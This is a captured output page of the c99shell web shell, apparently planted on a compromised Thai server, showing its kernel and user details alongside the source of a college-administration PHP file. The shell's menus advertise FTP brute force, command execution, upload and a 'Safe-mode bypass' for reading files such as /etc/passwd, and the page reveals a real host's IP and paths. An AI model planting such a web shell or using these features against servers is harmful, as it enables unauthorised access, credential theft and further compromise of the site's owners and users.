110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/directorBCNU/admin/ drwxr-xr-x Free 52.34 GB of 127.8 GB (40.95%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686

uid=48(apache) gid=48(apache) groups=48(apache)

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/admin/ drwxr-xr-x
Free 52.34 GB of 127.8 GB (40.95%)
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Viewing file: addcollege.php (5.51 KB) -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<?php
include_once "template.php";
include_once "../class/clsTable.php";
include_once "../link/functionshow.php";
include_once "funct.php";
include_once "../link/keyThai.php";
include_once "../class/clsCollegeDetail.php";
include_once "../class/clsSysConfig.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oCd = new collegedetail($oC);
$oCd2 = new collegedetail($oC);
$oSys = new sysConfig($oCe);

	$oSys->RSsysConfig();
	$oSys->GetRecord();
?>
<?
if($method=="addcollege"){
	$oCd2->SearchByKey($editID);
	$oCd2->GetRecord();
	//echo 'collegeName='.$collegeName[$oCd2->collegeID].'<br>';
	//echo 'collegeAbbr='.$collegeAbbr[$oCd2->collegeID].'<br>';
	//echo 'collegeHost='.$collegeHost[$oCd2->collegeID].'<br>';
	$oCd2->Edit();
	$oCd2->cID=$oCd2->cID;
	$oCd2->collegeID=$oCd2->collegeID;
	$oCd2->collegeName=$collegeName[$oCd2->collegeID];
	$oCd2->collegeAbbr=$collegeAbbr[$oCd2->collegeID];
	$oCd2->collegeHost=$collegeHost[$oCd2->collegeID];
	if($collegeHost[$oCd2->collegeID]==''){
		$oCd2->collegeType='N';
	}else{
		$oCd2->collegeType=$flag[$oCd2->collegeID];
	}
	$oCd2->Save();
?>
		<script language="JavaScript">
		parent.location.href ="addcollege.php";
		</script>
<?
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="configDept" name="configDept" src="" style="width:$0px;height:0px;border:0"></iframe>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">µСй§¤иТЎТГгЄй§Т№ГРєє</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ЎУЛ№ґўйНБЩЕЗФ·ВТЕСВ</font></legend>
	  <form name="ff" action="addcollege.php" method="post"target="configDept" ><? //?>
<table width="100%" height="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
						<tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_15"];?>">
							<td align="center" width="5%"><strong>ГЛСКЗФ·ВТЕСВ</strong></td>
							<td align="center" width="35%"><strong>ЄЧиНЗФ·ВТЕСВ</strong></td>
							<td align="center" width="15%"><strong>ЄЧиНВиНЗФ·ВТЕСВ</strong></td>
							<td align="center" width="20%"><strong>ip ўН§ЗФ·ВТЕСВ</strong></td>
							<td align="center" width="10%"><strong>К¶Т№Р<br>ЎТГгЄй§Т№</strong></td>
							<td align="center" width="5%"><strong>бЎйдў</strong></td>
						</tr>
						<? 	
								$i=0;
								$oCd->RScollegedetail();
								while($oCd->GetRecord()){
			  						if(($i%2) == 0)
											  echo "<tr>";
										else
											  echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\">";										
						?>
						<td align="center"><? echo $oCd->collegeID; ?></td>
						<td>&nbsp;<? if($edit==1 && $oCd->collegeID==$collegeID){  ?><input name="collegeName[<? echo $oCd->collegeID; ?>]" type="text" size="40" maxlength="255"  value="<? echo $oCd->collegeName; ?>"  onKeyPress="event.keyCode=CheckInputComma(event.keyCode); return event.keyCode;"><? }else{ echo $oCd->collegeName; } ?></td>
						<td>&nbsp;<? if($edit==1 && $oCd->collegeID==$collegeID){  ?><input name="collegeAbbr[<? echo $oCd->collegeID; ?>]" type="text" size="20" value="<?  echo $oCd->collegeAbbr; ?>" onKeyPress="event.keyCode=CheckInputComma(event.keyCode); return event.keyCode;"><? }else{  echo $oCd->collegeAbbr; } ?></td>
						<td>&nbsp;<? if($edit==1 && $oCd->collegeID==$collegeID){  ?><input name="collegeHost[<? echo $oCd->collegeID; ?>]" type="text" size="20" value="<?  echo $oCd->collegeHost; ?>" onKeyPress="event.keyCode=CheckInputComma(event.keyCode); return event.keyCode;"><? }else{  echo $oCd->collegeHost; } ?></td>
						<td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                    <input name="flag[<? echo $oCd->collegeID; ?>]" type="checkbox" value="Y" <? if($oCd->collegeType=="Y"){  echo "checked"; } ?> <? if($edit!=1 || ($edit==1 && $oCd->collegeID!=$collegeID)){ echo 'disabled';  }?>>
                    &nbsp;гЄй </font></td>
						<td align="center">
						<? if($edit==1 && $oCd->collegeID==$collegeID){ ?>
						<img src="../picture/save.gif" alt="єС№·ЦЎўйНБЩЕ"  border="0" style="cursor:pointer;" onClick="return checkFormat('<? echo $oCd->collegeID; ?>');">
						<? }else{?>
						<img src="../picture/edit1.gif" alt="бЎйдўўйНБЩЕ"   border="0" style="cursor:pointer;" onClick="location.href='addcollege.php?edit=1&collegeID=<? echo $oCd->collegeID?>';">
						<? } ?>
						</td></tr>	
						<?  $i++;}?>
					</table>
      <table border="0" align="center" width="100%"><tr><td align="center">
	<br>
				<input type="hidden" name="method">
				<input type="hidden" name="editID">
                <input type="button" name="cancel" value="ЎЕСєКЩиаБ№ЩЛЕСЎ" onClick="location.href = '?mm=1'">
				<input type="button" name="cancel" value="ВЎаЕФЎ" onClick="location.href = 'addcollege.php'">
          </td>
        </tr></table></form>
	  
</fieldset> 
		<br>

</td>
</tr>
</table>
</body>
</html>

<script language="javascript">
 function checkFormat(editID){ 
				var agree=confirm("¤ШіµйН§ЎТГбЎйдўўйНБЩЕЗФ·ВТЕСВб№и№Н№гЄиЛГЧНдБи ?");
				if (agree){
					document.ff.editID.value=editID;
					document.ff.method.value="addcollege";
					document.ff.submit();
					return true;
				}else{
					return false ;
				} 	

}
</script>

:: Command execute ::
Enter:	Select:

:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:

:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

:: Go Dir ::

:: Go File ::

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0049 ]--